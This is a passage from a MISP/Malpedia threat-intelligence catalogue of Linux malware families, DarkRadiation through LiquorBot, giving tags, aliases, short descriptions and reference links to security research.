https://www.intel471.com/blog/darkside-ransomware-shut-down-revil-avaddon-cybercrime
https://twitter.com/JAMESWT_MHT/status/1388301138437578757
https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/
https://www.youtube.com/watch?v=NIiEcOryLpI
https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/
https://twitter.com/GelosSnake/status/1451465959894667275
https://www.bleepingcomputer.com/news/security/chemical-distributor-pays-44-million-to-darkside-ransomware/
https://www.maltego.com/blog/chasing-darkside-affiliates-identifying-threat-actors-connected-to-darkside-ransomware-using-maltego-intel-471-1/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://pylos.co/2021/05/13/mind-the-air-gap/
https://otx.alienvault.com/pulse/60d0afbc395c24edefb33bb9
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://cybersecurity.att.com/blogs/labs-research/darkside-raas-in-linux-version
https://therecord.media/darkside-ransomware-gang-says-it-lost-control-of-its-servers-money-a-day-after-biden-threat/
https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/

https://www.digitalshadows.com/blog-and-research/ransomware-as-a-service-rogue-affiliates-and-whats-next/
https://blog.group-ib.com/blackmatter2
https://www.youtube.com/watch?v=qxPXxWMI2i4

DarkRadiation

The tag is: *misp-galaxy:malpedia="DarkRadiation"*

DarkRadiation is also known as:

Table 1176. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.dark_radiation
https://www.sentinelone.com/blog/darkradiation-abusing-bash-for-linux-and-docker-container-ransomware/

DDG

First activity observed in October 2017. DDG is a botnet with P2P capability that is targeting crypto currency mining (Monero).

The tag is: *misp-galaxy:malpedia="DDG"*

DDG is also known as:

Table 1177. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.ddg
https://blog.netlab.360.com/ddg-mining-botnet-jin-qi-huo-dong-fen-xi/
https://blog.netlab.360.com/threat-alert-ddg-3013-is-out/
https://blog.netlab.360.com/ddg-a-mining-botnet-aiming-at-database-servers/
https://blog.netlab.360.com/ddg-botnet-round-x-is-there-an-ending/
https://blog.netlab.360.com/old-botnets-never-die-and-ddg-refuse-to-fade-away/

ddoor

The tag is: *misp-galaxy:malpedia="ddoor"*

ddoor is also known as:

Table 1178. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.ddoor
https://github.com/rek7/ddoor

DEADBOLT

DEADBOLT is a linux ransomware written in GO, targeting QNAP NAS devices worldwide. The files are encrypted with AES128 encryption and will have the .deadbolt extension appended to file names.

The tag is: *misp-galaxy:malpedia="DEADBOLT"*

DEADBOLT is also known as:

Table 1179. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.deadbolt
https://community.riskiq.com/article/1601124b
https://securelist.com/new-ransomware-trends-in-2022/106457/
https://www.bleepingcomputer.com/news/security/new-deadbolt-ransomware-targets-qnap-devices-asks-50-btc-for-master-key/
https://www.trendmicro.com/en_us/research/22/f/closing-the-door-deadbolt-ransomware-locks-out-vendors-with-mult.html

Denonia

Cado discovered this malware, written in Go and targeting AWS Lambda environments.

The tag is: *misp-galaxy:malpedia="Denonia"*

Denonia is also known as:

Table 1180. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.denonia
https://thehackernews.com/2022/04/first-malware-targeting-aws-lambda.html
https://www.cadosecurity.com/cado-discovers-denonia-the-first-malware-specifically-targeting-lambda/

Derusbi (ELF)

The tag is: *misp-galaxy:malpedia="Derusbi (ELF)"*

Derusbi (ELF) is also known as:

Table 1181. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.derusbi
https://twitter.com/IntezerLabs/status/1407676522534735873?s=20
https://attack.mitre.org/groups/G0096
https://attack.mitre.org/groups/G0001/

Dofloo

Dofloo (aka AESDDoS) is a popular malware used to create large scale botnets that can launch DDoS attacks and load cryptocurrency miners to the infected machines.

The tag is: *misp-galaxy:malpedia="Dofloo"*

Dofloo is also known as:

- AESDDoS

Table 1182. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.dofloo
https://blog.syscall.party/post/aes-ddos-analysis-part-1/
https://www.bleepingcomputer.com/news/security/exposed-docker-apis-abused-by-ddos-cryptojacking-botnet-malware/
https://www.botconf.eu/wp-content/uploads/2015/12/OK-P13-Liu-Ya-Automatically-Classify-Unknown-Bots-by-The-Register-Messages.pdf

Doki

The tag is: *misp-galaxy:malpedia="Doki"*

Doki is also known as:

Table 1183. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.doki
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://www.securecoding.com/blog/all-about-doki-malware/
https://www.intezer.com/container-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/

DoubleFantasy (ELF)

The tag is: *misp-galaxy:malpedia="DoubleFantasy (ELF)"*

DoubleFantasy (ELF) is also known as:

Table 1184. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.doublefantasy
https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/
https://www.antiy.com/response/FROM_EQUATION_TO_EQUATIONS.pdf

Ebury

This payload has been used to compromise kernel.org back in August of 2011 and has hit cPanel Support which in turn, has infected quite a few cPanel servers. It is a credential stealing payload which steals SSH keys, passwords, and potentially other credentials.

This family is part of a wider range of tools which are described in detail in the operation windigo whitepaper by ESET.

The tag is: *misp-galaxy:malpedia="Ebury"*

Ebury is also known as:

Table 1185. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.ebury
https://www.welivesecurity.com/2014/10/15/operation-windigo-good-job-eset-says-malware-author/
https://www.welivesecurity.com/wp-content/uploads/2014/03/operation_windigo.pdf
https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf
https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/
https://csirt.gov.it/data/cms/posts/582/attachments/66ca2e9a-68cd-4df5-81a2-674c31a699c2/download
https://www.welivesecurity.com/2018/12/05/dark-side-of-the-forsshe/
https://www.justice.gov/opa/pr/russian-citizen-pleads-guilty-involvement-global-botnet-conspiracy
https://security.web.cern.ch/security/advisories/windigo/windigo.shtml
https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/

Echobot

The latest in this long line of Mirai scourges is a new variant named Echobot. Coming to life in mid-May, the malware was first described by Palo Alto Networks in a report published at the start of June, and then again in a report by security researchers from Akamai, in mid-June.

When it was first spotted by Palo Alto Networks researchers in early June, Echobot was using exploits for 18 vulnerabilities. In the Akamai report, a week later, Echobot was at 26.

https://www.zdnet.com/article/new-echobot-malware-is-a-smorgasbord-of-vulnerabilities

The tag is: *misp-galaxy:malpedia="Echobot"*

Echobot is also known as:

Table 1186. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.echobot
https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/
https://blogs.akamai.com/sitr/2019/06/latest-echobot-26-infection-vectors.html
https://www.bleepingcomputer.com/news/security/new-echobot-botnet-variant-uses-over-50-exploits-to-propagate/
https://www.f5.com/labs/articles/threat-intelligence/echobot-malware-now-up-to-71-exploits—targeting-scada

EnemyBot

The tag is: *misp-galaxy:malpedia="EnemyBot"*

EnemyBot is also known as:

Table 1187. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.enemybot
https://www.securonix.com/blog/detecting-the-enemybot-botnet-advisory
https://www.fortinet.com/blog/threat-research/enemybot-a-look-into-keksecs-latest-ddos-botnet
https://cybersecurity.att.com/blogs/labs-research/rapidly-evolving-iot-malware-enemybot-now-targeting-content-management-system-servers

Erebus (ELF)

The tag is: *misp-galaxy:malpedia="Erebus (ELF)"*

Erebus (ELF) is also known as:

Table 1188. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.erebus
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/erebus-resurfaces-as-linux-ransomware/

EvilGnome

The tag is: *misp-galaxy:malpedia="EvilGnome"*

EvilGnome is also known as:

Table 1189. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.evilgnome
https://www.intezer.com/blog-evilgnome-rare-malware-spying-on-linux-desktop-users/
https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought
https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf

EwDoor

The tag is: *misp-galaxy:malpedia="EwDoor"*

EwDoor is also known as:

Table 1190. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.ewdoor
https://blog.netlab.360.com/warning-ewdoor-botnet-is-attacking-att-customers/

Exaramel (ELF)

The tag is: *misp-galaxy:malpedia="Exaramel (ELF)"*

Exaramel (ELF) is also known as:

Table 1191. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/elf.exaramel
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf
https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf
https://www.domaintools.com/resources/blog/centreon-to-exim-and-back-on-the-trail-of-sandworm
https://www.wired.com/story/sandworm-centreon-russia-hack/
https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/
https://attack.mitre.org/groups/G0034
https://twitter.com/craiu/status/1361581668092493824
https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf

ext4

The tag is: *misp-galaxy:malpedia="ext4"*

ext4 is also known as:

Table 1192. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.ext4
https://www.recordedfuture.com/chinese-cyberespionage-operations/
https://www.recordedfuture.com/chinese-cyberespionage-operations

Facefish

The tag is: *misp-galaxy:malpedia="Facefish"*

Facefish is also known as:

Table 1193. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.facefish
https://blog.netlab.360.com/ssh_stealer_facefish_en/

FBot

The tag is: *misp-galaxy:malpedia="FBot"*

FBot is also known as:

Table 1194. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.fbot
https://blog.netlab.360.com/fbot-is-now-riding-the-traffic-and-transportation-smart-devices-en/
https://securitynews.sonicwall.com/xmlpost/vigilante-malware-removes-cryptominers-from-the-infected-device/
https://blog.malwaremustdie.org/2020/01/mmd-0065-2020-linuxmirai-fbot.html
https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html

FinFisher (ELF)

The tag is: *misp-galaxy:malpedia="FinFisher (ELF)"*

FinFisher (ELF) is also known as:

Table 1195. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.finfisher
https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/
https://netzpolitik.org/2020/our-criminal-complaint-german-state-malware-company-finfisher-raided/
https://securelist.com/finspy-unseen-findings/104322/

floodor

The tag is: *misp-galaxy:malpedia="floodor"*

floodor is also known as:

Table 1196. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.floodor
https://github.com/Thibault-69/Floodor

FontOnLake

This family utilizes custom modules allowing for remote access, credential harvesting (e.g. by modifying sshd) and proxy usage.

It comes with a rootkit as well.

The tag is: *misp-galaxy:malpedia="FontOnLake"*

FontOnLake is also known as:

Table 1197. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.fontonlake
https://www.welivesecurity.com/2021/10/07/fontonlake-previously-unknown-malware-family-targeting-linux/

FritzFrog

Guardicore has discovered FritzFrog, a sophisticated peer-to-peer (P2P) botnet which has been actively breaching SSH servers since January 2020. It is a worm which is written in Golang, and is modular, multi-threaded and fileless, leaving no trace on the infected machine's disk.

The tag is: *misp-galaxy:malpedia="FritzFrog"*

FritzFrog is also known as:

Table 1198. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.fritzfrog
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf
https://www.securityweek.com/sophisticated-fritzfrog-p2p-botnet-returns-after-long-break
https://www.akamai.com/blog/security/fritzfrog-p2p
https://www.guardicore.com/2020/08/fritzfrog-p2p-botnet-infects-ssh-servers/

Gitpaste-12

The tag is: *misp-galaxy:malpedia="Gitpaste-12"*

Gitpaste-12 is also known as:

Table 1199. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.gitpaste12
https://blogs.juniper.net/en-us/threat-research/gitpaste-12

Glupteba Proxy

ARM32 SOCKS proxy, written in Go, used in the Glupteba campaign.

The tag is: *misp-galaxy:malpedia="Glupteba Proxy"*

Glupteba Proxy is also known as:

Table 1200. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.glupteba_proxy
https://decoded.avast.io/martinhron/meris-and-trickbot-standing-on-the-shoulders-of-giants/
https://thehackernews.com/2022/03/over-200000-microtik-routers-worldwide.html

Godlua

The tag is: *misp-galaxy:malpedia="Godlua"*

Godlua is also known as:

Table 1201. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.godlua
https://blog.netlab.360.com/an-analysis-of-godlua-backdoor-en/

GOSH

The tag is: *misp-galaxy:malpedia="GOSH"*

GOSH is also known as:

Table 1202. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.gosh
https://twitter.com/IntezerLabs/status/1291355808811409408

GreedyAntd

The tag is: *misp-galaxy:malpedia="GreedyAntd"*

GreedyAntd is also known as:

Table 1203. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.greedyantd
https://www.intezer.com/blog-technical-analysis-cryptocurrency-mining-war-on-the-cloud/

HabitsRAT (ELF)

The tag is: *misp-galaxy:malpedia="HabitsRAT (ELF)"*

HabitsRAT (ELF) is also known as:

Table 1204. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.habitsrat
https://twitter.com/michalmalik/status/1435918937162715139

Haiduc

The tag is: *misp-galaxy:malpedia="Haiduc"*

Haiduc is also known as:

Table 1205. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.haiduc
https://documents.trendmicro.com/assets/Perl-Based_Shellbot_Looks_to_Target_Organizations_via_C&C_appendix.pdf

Hajime

The tag is: *misp-galaxy:malpedia="Hajime"*

Hajime is also known as:

Table 1206. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.hajime
https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf
https://par.nsf.gov/servlets/purl/10096257
https://security.radware.com/WorkArea/DownloadAsset.aspx?id=1461
https://www.symantec.com/connect/blogs/hajime-worm-battles-mirai-control-internet-things
https://blog.netlab.360.com/quick-summary-port-8291-scan-en/
https://github.com/Psychotropos/hajime_hashes
http://blog.netlab.360.com/hajime-status-report-en/
https://x86.re/blog/hajime-a-follow-up/

Hakai

The tag is: *misp-galaxy:malpedia="Hakai"*

Hakai is also known as:

Table 1207. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.hakai
https://researchcenter.paloaltonetworks.com/2018/07/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/

HandyMannyPot

The tag is: *misp-galaxy:malpedia="HandyMannyPot"*

HandyMannyPot is also known as:

Table 1208. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.handymannypot
https://twitter.com/liuya0904/status/1171633662502350848

Hand of Thief

The tag is: *misp-galaxy:malpedia="Hand of Thief"*

Hand of Thief is also known as:

- Hanthie

Table 1209. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.hand_of_thief
https://blog.avast.com/2013/08/27/linux-trojan-hand-of-thief-ungloved/
https://web.archive.org/web/20130815040638/https://blogs.rsa.com/thieves-reaching-for-linux-hand-of-thief-trojan-targets-linux-inth3wild/

HelloKitty (ELF)

Linux version of the HelloKitty ransomware.

The tag is: *misp-galaxy:malpedia="HelloKitty (ELF)"*

HelloKitty (ELF) is also known as:

Table 1210. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.hellokitty
https://soolidsnake.github.io/2021/07/17/hellokitty_linux.html
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire
https://unit42.paloaltonetworks.com/emerging-ransomware-groups/
https://blog.sekoia.io/vice-society-a-discreet-but-steady-double-extortion-ransomware-group
https://www.govinfosecurity.com/vice-society-ransomware-gang-disrupted-spar-stores-a-18225
https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/
https://www.bleepingcomputer.com/news/security/linux-version-of-hellokitty-ransomware-targets-vmware-esxi-servers/

HiddenWasp

The tag is: *misp-galaxy:malpedia="HiddenWasp"*

HiddenWasp is also known as:

Table 1211. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.hiddenwasp
https://www.intezer.com/blog/incident-response/orbit-new-undetected-linux-threat/
https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought
https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/

Hide and Seek

The tag is: *misp-galaxy:malpedia="Hide and Seek"*

Hide and Seek is also known as:

- HNS

Table 1212. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.hideandseek
https://www.bleepingcomputer.com/news/security/new-hns-iot-botnet-has-already-amassed-14k-bots/
https://labs.bitdefender.com/2018/05/hide-and-seek-iot-botnet-resurfaces-with-new-tricks-persistence/
https://blog.avast.com/hide-n-seek-botnet-continues
https://threatlabs.avast.com/botnet
https://labs.bitdefender.com/2018/01/new-hide-n-seek-iot-botnet-using-custom-built-peer-to-peer-communication-spotted-in-the-wild/
https://blog.netlab.360.com/hns-botnet-recent-activities-en/
https://www.fortinet.com/blog/threat-research/searching-for-the-reuse-of-mirai-code—hide—n-seek-bot.html
https://www.bleepingcomputer.com/news/security/hns-evolves-from-iot-to-cross-platform-botnet/
https://www.bleepingcomputer.com/news/security/hide-and-seek-becomes-first-iot-botnet-capable-of-surviving-device-reboots/

Hipid

The tag is: *misp-galaxy:malpedia="Hipid"*

Hipid is also known as:

Table 1213. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.hipid
https://blogs.jpcert.or.jp/en/2022/09/bigip-exploit.html

Hive (ELF)

The tag is: *misp-galaxy:malpedia="Hive (ELF)"*

Hive (ELF) is also known as:

Table 1214. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.hive
https://www.bleepingcomputer.com/news/security/hive-ransomware-ports-its-linux-vmware-esxi-encryptor-to-rust/
https://yoroi.company/research/on-the-footsteps-of-hive-ransomware/

https://therecord.media/hive-ransomware-shuts-down-california-health-care-organization/
https://arxiv.org/pdf/2202.08477.pdf
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/
https://github.com/rivitna/Malware/tree/main/Hive
https://twitter.com/ESETresearch/status/1454100591261667329
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf
https://blog.group-ib.com/hive
https://twitter.com/malwrhunterteam/status/1455628865229950979
https://therecord.media/academics-publish-method-for-recovering-data-encrypted-by-the-hive-ransomware/
https://securityaffairs.co/wordpress/128232/security/recover-files-hive-ransomware.html
https://yoroi.company/wp-content/uploads/2022/07/Yoroi-On-The-Footsteps-of-Hive-Ransomware.pdf
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-hive
https://lifars.com/2022/02/how-to-decrypt-the-files-encrypted-by-the-hive-ransomware/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v
https://thehackernews.com/2022/02/master-key-for-hive-ransomware.html
https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again

Hubnr

The tag is: *misp-galaxy:malpedia="Hubnr"*

Hubnr is also known as:

Table 1215. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.hubnr
https://github.com/carbreal/Malware_Analysis/tree/master/Hubnr_botnet

Icnanker

The tag is: *misp-galaxy:malpedia="Icnanker"*

Icnanker is also known as:

Table 1216. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.icnanker
https://blog.netlab.360.com/icnanker-trojan-downloader-shc-en/

IoT Reaper

The tag is: *misp-galaxy:malpedia="IoT Reaper"*

IoT Reaper is also known as:

- IoTroop
- Reaper
- iotreaper

Table 1217. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.iot_reaper
https://research.checkpoint.com/new-iot-botnet-storm-coming/
http://blog.netlab.360.com/iot_reaper-a-rappid-spreading-new-iot-botnet-en/
https://krebsonsecurity.com/2017/10/reaper-calm-before-the-iot-security-storm

IPStorm (ELF)

The tag is: *misp-galaxy:malpedia="IPStorm (ELF)"*

IPStorm (ELF) is also known as:

- InterPlanetary Storm

Table 1218. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.ipstorm
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf
https://www.anomali.com/blog/the-interplanetary-storm-new-malware-in-wild-using-interplanetary-file-systems-ipfs-p2p-network
https://www.bitdefender.com/files/News/CaseStudies/study/376/Bitdefender-Whitepaper-IPStorm.pdf
https://www.intezer.com/blog/research/a-storm-is-brewing-ipstorm-now-has-linux-malware/

JenX

The tag is: *misp-galaxy:malpedia="JenX"*

JenX is also known as:

Table 1219. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.jenx
https://blog.radware.com/security/2018/02/jenx-los-calvos-de-san-calvicie/

Kaiji

Surfaced in late April 2020, Intezer describes Kaiji as a DDoS malware written in Go that spreads through SSH brute force attacks. Recovered function names are an English representation of Chinese words, hinting about the origin. The name Kaiji was given by MalwareMustDie based on strings found in samples.

The tag is: *misp-galaxy:malpedia="Kaiji"*

Kaiji is also known as:

Table 1220. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.kaiji
https://blog.trendmicro.com/trendlabs-security-intelligence/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers/
https://www.bitdefender.com/box/blog/iot-news/kaiji-new-strain-iot-malware-seizing-control-launching-ddos-attacks/
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775
https://intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/

Kaiten

The tag is: *misp-galaxy:malpedia="Kaiten"*

Kaiten is also known as:

- STD

Table 1221. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/elf.kaiten
https://www.blackarrow.net/attackers-abuse-mobileirons-rce-to-deliver-kaiten/
https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/kaiten-std-router-ddos-malware-threat-advisory.pdf
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apache-log4j-zero-day
https://www.trendmicro.com/en_us/research/20/i/exposed-docker-server-abused-to-drop-cryptominer-ddos-bot-.html
https://www.lacework.com/the-kek-security-network/

kerberods

The tag is: *misp-galaxy:malpedia="kerberods"*

kerberods is also known as:

Table 1222. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.kerberods
https://www.fortinet.com/blog/threat-research/rocke-variant-ready-to-box-mining-challengers.html
https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang
https://blog.talosintelligence.com/2019/09/watchbog-patching.html
https://blog.trendmicro.com/trendlabs-security-intelligence/cve-2019-3396-redux-confluence-vulnerability-exploited-to-deliver-cryptocurrency-miner-with-rootkit/
https://isc.sans.edu/forums/diary/Vulnerable+Apache+Jenkins+exploited+in+the+wild/24916

KEYPLUG

The tag is: *misp-galaxy:malpedia="KEYPLUG"*

KEYPLUG is also known as:

- ELFSHELF

Table 1223. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.keyplug
https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf
https://twitter.com/CyberJack42/status/1501290277864046595
https://experience.mandiant.com/trending-evil/p/1

https://www.mandiant.com/resources/mobileiron-log4shell-exploitation
https://www.mandiant.com/resources/apt41-us-state-governments

kfos

The tag is: *misp-galaxy:malpedia="kfos"*

kfos is also known as:

Table 1224. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.kfos
https://twitter.com/r3dbU7z/status/1378564694462586880

Kinsing

The tag is: *misp-galaxy:malpedia="Kinsing"*

Kinsing is also known as:

- h2miner

Table 1225. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.kinsing
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf
https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability
https://www.lacework.com/blog/kinsing-dark-iot-botnet-among-threats-targeting-cve-2022-26134/
https://twitter.com/IntezerLabs/status/1259818964848386048
https://medium.com/s2wblog/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-en-809064312039
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://www.zscaler.com/blogs/security-research/threatlabz-analysis-log4shell-cve-2021-44228-exploit-attempts
https://www.bleepingcomputer.com/news/security/log4shell-exploits-now-used-mostly-for-ddos-botnets-cryptominers/
https://unit42.paloaltonetworks.com/cve-2020-25213/
https://www.cadosecurity.com/analysis-of-initial-in-the-wild-attacks-exploiting-log4shell-log4j-cve-2021-44228/
https://www.trendmicro.com/en_us/research/20/k/analysis-of-kinsing-malwares-use-of-rootkit.html

https://unit42.paloaltonetworks.com/atoms/moneylibra/
https://www.trendmicro.com/en_us/research/21/g/threat-actors-exploit-misconfigured-apache-hadoop-yarn.html
https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/
https://www.alibabacloud.com/blog/new-outbreak-of-h2miner-worms-exploiting-redis-rce-detected_595743
https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775
https://redcanary.com/blog/kinsing-malware-citrix-saltstack/
https://www.cyberark.com/resources/threat-research-blog/kinsing-the-malware-with-two-faces
https://www.trendmicro.com/en_us/research/22/i/a-post-exploitation-look-at-coinminers-abusing-weblogic-vulnerab.html

KIVARS (ELF)

The tag is: *misp-galaxy:malpedia="KIVARS (ELF)"*

KIVARS (ELF) is also known as:

Table 1226. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.kivars
https://www.trendmicro.com/en_us/research/16/c/threat-actors-behind-shrouded-crossbow-creates-bifrose-for-unix.html

Kobalos

The tag is: *misp-galaxy:malpedia="Kobalos"*

Kobalos is also known as:

Table 1227. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.kobalos
https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf
https://team-cymru.com/blog/2021/02/05/kobalos-malware-mapping/
https://www.welivesecurity.com/wp-content/uploads/2021/05/eset_threat_report_t12021.pdf
https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/

Lady

The tag is: *misp-galaxy:malpedia="Lady"*

Lady is also known as:

Table 1228. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.lady
https://news.drweb.com/news/?i=10140&lng=en

LeetHozer

The tag is: *misp-galaxy:malpedia="LeetHozer"*

LeetHozer is also known as:

Table 1229. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.leethozer
https://blog.netlab.360.com/the-leethozer-botnet-en/

Lightning Framework

The tag is: *misp-galaxy:malpedia="Lightning Framework"*

Lightning Framework is also known as:

Table 1230. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.lightning
https://www.intezer.com/blog/research/lightning-framework-new-linux-threat/

LiLock

The tag is: *misp-galaxy:malpedia="LiLock"*

LiLock is also known as:

- Lilocked
- Lilu

Table 1231. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/elf.lilock
https://www.bleepingcomputer.com/news/security/lilocked-ransomware-actively-targeting-servers-and-web-sites/
https://id-ransomware.blogspot.com/2019/07/lilu-lilocked-ransomware.html
https://fossbytes.com/lilocked-ransomware-infected-linux-servers/

lilyofthevalley

The tag is: *misp-galaxy:malpedia="lilyofthevalley"*

lilyofthevalley is also known as:

Table 1232. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.lilyofthevalley
https://github.com/En14c/LilyOfTheValley

LiquorBot

BitDefender tracked the development of a Mirai-inspired botnet, dubbed LiquorBot, which seems to be actively in development and has recently incorporated Monero cryptocurrency mining features. Interestingly, LiquorBot is written in Go (also known as Golang), which offers some programming advantages over traditional C-style code, such as memory safety, garbage collection, structural typing, and even CSP-style concurrency.

The tag is: *misp-galaxy:malpedia="LiquorBot"*

LiquorBot is also known as:

Table 1233. Table References

Links
